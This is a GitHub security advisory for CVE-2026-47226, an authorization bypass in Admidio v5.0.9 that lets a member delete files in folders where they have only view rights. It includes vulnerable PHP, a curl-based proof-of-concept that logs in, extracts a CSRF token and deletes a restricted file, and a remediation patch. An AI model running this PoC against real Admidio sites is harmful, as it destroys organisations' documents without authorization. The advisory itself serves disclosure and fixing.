{"id":"GHSA-qc4c-hrmc-4f78","summary":"Admidio: Authorization bypass in file_delete enables cross-folder file removal by authenticated users without delete privileges","details":"### Summary\n\nAn authenticated Admidio member with upload rights on **any one folder** can permanently delete files from folders where they have only view access. The authorization check at the top of `modules/documents-files.php` evaluates upload rights against the attacker-supplied `folder_uuid` URL parameter — not the file's actual parent folder. The `file_delete` handler then only verifies view rights on the file's real location, never upload rights. By passing a folder they legitimately own in `folder_uuid` while targeting a file in a restricted folder via `file_uuid`, an attacker bypasses the upload-right check entirely and permanently deletes the file.\n\nThis is an **incomplete fix** of [GHSA-rmpj-3x5m-9m5f](https://github.com/Admidio/admidio/security/advisories/GHSA-rmpj-3x5m-9m5f), which was patched in v5.0.7 but remains exploitable in v5.0.9.\n\n**Affected Version:** Admidio v5.0.9 \n\n---\n\n### Details\n\n**Root Cause File:** `modules/documents-files.php`\n\n**Issue 1 — `folder_uuid` is not required for `file_delete` mode (line 67):**\n\n```php\n$getFolderUUID = admFuncVariableIsValid($_GET, 'folder_uuid', 'uuid', array(\n    'requireValue' =\u003e !in_array($getMode, array('list', 'file_delete', 'download'))\n));\n```\n\n**Issue 2 — The top-level upload-right check loads the folder from the attacker-controlled URL parameter, not the file's actual parent folder (lines 79–88):**\n\n```php\nif ($getMode != 'list' && $getMode != 'download') {\n    $folder = new Folder($gDb);\n    $folder-\u003egetFolderForDownload($getFolderUUID);   // uses attacker-supplied UUID\n    if (!$folder-\u003ehasUploadRight()) {\n        $gMessage-\u003eshow($gL10n-\u003eget('SYS_NO_RIGHTS'));\n    }\n}\n```\n\n**Issue 3 — The `file_delete` handler only checks view rights via `getFileForDownload()`. Upload rights on the file's actual folder are never verified (lines 165–178):**\n\n```php\ncase 'file_delete':\n    SecurityUtils::validateCsrfToken($_POST['adm_csrf_token']);\n    $file = new File($gDb);\n    $file-\u003egetFileForDownload($getFileUUID);   // view-only check, not upload\n    $file-\u003edelete();\n    echo json_encode(array('status' =\u003e 'success'));\n    break;\n```\n\n`File::getFileForDownload()` in `src/Documents/Entity/File.php` checks only view-role membership — it never verifies upload rights.\n\n---\n\n### Attack Scenario\n\n1. The organization has two folders: `PrivateFolder` (role A: view-only) and `UploadFolder` (role A: upload + view).\n2. Attacker is a member of role A — they have legitimate upload access to `UploadFolder` only.\n3. Attacker enumerates a file UUID in `PrivateFolder` using `file_list` mode, which is accessible to anyone with view rights.\n4. Attacker sends a `file_delete` POST using `UploadFolder`'s UUID in `folder_uuid` and the `PrivateFolder` file UUID in `file_uuid`.\n5. Server checks upload rights against `UploadFolder` → **passes**.\n6. Server deletes the file from `PrivateFolder` **without ever checking upload rights there**.\n\n**Prerequisites:**\n\n- Authenticated Admidio member account\n- Upload rights on at least one folder (legitimately assigned)\n- View rights on the target folder (sufficient to enumerate file UUIDs via `file_list` mode)\n- Knowledge of a target file UUID (obtainable from the folder listing)\n\n---\n\n### PoC\n\n**Step 1 — Authenticate and obtain login CSRF token:**\n\n```bash\ncurl -c /tmp/admidio_cookies.txt http://TARGET/system/login.php \u003e /tmp/login.html\n\nLOGIN_CSRF=$(grep -o 'name=\"adm_csrf_token\"[^\u003e]*value=\"[^\"]*\"' /tmp/login.html \\\n  | grep -o 'value=\"[^\"]*\"' | cut -d'\"' -f2)\n\ncurl -b /tmp/admidio_cookies.txt -c /tmp/admidio_cookies.txt \\\n  -X POST \"http://TARGET/system/login.php?mode=check\" \\\n  -d \"usr_login_name=MEMBER&usr_password=PASSWORD&adm_csrf_token=${LOGIN_CSRF}\"\n```\n\n**Step 2 — Extract authenticated session CSRF token:**\n\n```bash\nAUTH_CSRF=$(curl -s -b /tmp/admidio_cookies.txt \\\n  \"http://TARGET/system/file_upload.php?module=documents_files&uuid=UPLOAD_FOLDER_UUID\" \\\n  | grep -oP 'name:\\s*\"adm_csrf_token\",\\s*value:\\s*\"\\K[^\"]+')\n```\n\n**Step 3 — Delete file from restricted folder using the upload folder UUID as bypass:**\n\n```bash\ncurl -b /tmp/admidio_cookies.txt \\\n  -X POST \"http://TARGET/modules/documents-files.php?mode=file_delete&file_uuid=PRIVATE_FILE_UUID&folder_uuid=UPLOAD_FOLDER_UUID\" \\\n  -d \"adm_csrf_token=${AUTH_CSRF}\"\n```\n\n**Expected response:** `{\"status\":\"success\"}`\n\n`testmember` holds upload rights **only** on `UploadFolder`. `secret2.txt` (UUID `93dc6280-...-bba7-...`) resided in `PrivateFolder` and was permanently deleted from both the database and filesystem.\n\n---\n\n### Impact\n\nAn authenticated Admidio member with legitimate upload access to **any one folder** can permanently delete files from **any other folder** to which they have view access — without authorization. In organizations where upload rights are delegated by role (e.g., team leads upload to their own folder, view-only everywhere else), this enables cross-folder sabotage and permanent destruction of shared documents.\n\n**Business Impact:** Data loss, destruction of shared organizational documents, and compliance violations in organizations relying on Admidio for document management.\n\n---\n\n### Remediation\n\nIn the `file_delete` handler, after loading the file via `getFileForDownload()`, verify upload rights against the file's **actual parent folder** — not the URL-supplied `folder_uuid`:\n\n```php\ncase 'file_delete':\n    SecurityUtils::validateCsrfToken($_POST['adm_csrf_token']);\n    $file = new File($gDb);\n    $file-\u003egetFileForDownload($getFileUUID);\n    // Verify upload rights on the file's actual parent folder\n    $parentFolder = new Folder($gDb);\n    $parentFolder-\u003ereadDataById((int)$file-\u003egetValue('fil_fol_id'));\n    if (!$parentFolder-\u003ehasUploadRight()) {\n        $gMessage-\u003eshow($gL10n-\u003eget('SYS_NO_RIGHTS'));\n    }\n    $file-\u003edelete();\n    echo json_encode(array('status' =\u003e 'success'));\n    break;\n```\n\n**Alternative fix:** Remove the top-level `folder_uuid` check for `file_delete` entirely and move a proper upload-rights verification into the `file_delete` case as the sole authority for authorization.\n\n**Defense-in-depth recommendations:**\n\n- Audit all other modes in `documents-files.php` (e.g., `folder_delete`, `file_rename`) for the same pattern of trusting `folder_uuid` from the URL instead of the resource's actual parent.\n- Add an integration test asserting a user with upload rights on Folder A cannot perform destructive operations on files in Folder B.\n- Consider centralizing authorization in a single helper (e.g., `assertUploadRightOnFile($fileUuid)`) to eliminate the URL-parameter trust-boundary issue across the codebase.\n\n---\n\n### Credits\n\n- Researcher: Vishal Kumar B - https://github.com/VishaaLlKumaaRr - Security Researcher & Penetration Tester\n- Disclosure: Responsible disclosure to Admidio maintainers\n\n---\n\n### References\n\n- [GHSA-rmpj-3x5m-9m5f](https://github.com/Admidio/admidio/security/advisories/GHSA-rmpj-3x5m-9m5f) — Prior incomplete fix, patched in v5.0.7\n- [CWE-862: Missing Authorization](https://cwe.mitre.org/data/definitions/862.html)\n- [CWE-639: Authorization Bypass Through User-Controlled Key](https://cwe.mitre.org/data/definitions/639.html)","aliases":["CVE-2026-47226"],"modified":"2026-09-10T03:50:47.324223312Z","published":"2026-05-29T21:54:09Z","related":["CVE-2026-47226"],"database_specific":{"nvd_published_at":null,"cwe_ids":["CWE-639","CWE-862"],"severity":"MODERATE","github_reviewed":true,"github_reviewed_at":"2026-05-29T21:54:09Z"},"references":[{"type":"WEB","url":"https://github.com/Admidio/admidio/security/advisories/GHSA-qc4c-hrmc-4f78"},{"type":"WEB","url":"https://github.com/Admidio/admidio/security/advisories/GHSA-rmpj-3x5m-9m5f"},{"type":"PACKAGE","url":"https://github.com/Admidio/admidio"}],"affected":[{"package":{"name":"admidio/admidio","ecosystem":"Packagist","purl":"pkg:composer/admidio/admidio"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"5.0.10"}]}],"versions":["4.1.0","4.1.3","v4.2-Beta.1","v4.2-Beta.2","v4.2-Beta.3","v4.2.0","v4.2.1","v4.2.10","v4.2.11","v4.2.12","v4.2.13","v4.2.14","v4.2.2","v4.2.3","v4.2.4","v4.2.5","v4.2.6","v4.2.7","v4.2.8","v4.2.9","v4.3-Beta.1","v4.3-Beta.3","v4.3-Beta.4","v4.3-Beta.5","v4.3.0","v4.3.1","v4.3.10","v4.3.11","v4.3.12","v4.3.13","v4.3.14","v4.3.15","v4.3.16","v4.3.17","v4.3.2","v4.3.3","v4.3.4","v4.3.5","v4.3.6","v4.3.7","v4.3.8","v4.3.9","v5.0-Beta.1","v5.0-Beta.2","v5.0-Beta.3","v5.0.0","v5.0.1","v5.0.2","v5.0.3","v5.0.4","v5.0.5","v5.0.6","v5.0.7","v5.0.8","v5.0.9"],"database_specific":{"last_known_affected_version_range":"\u003c= 5.0.9","source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/05/GHSA-qc4c-hrmc-4f78/GHSA-qc4c-hrmc-4f78.json"}}],"schema_version":"1.9.0","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N"}]}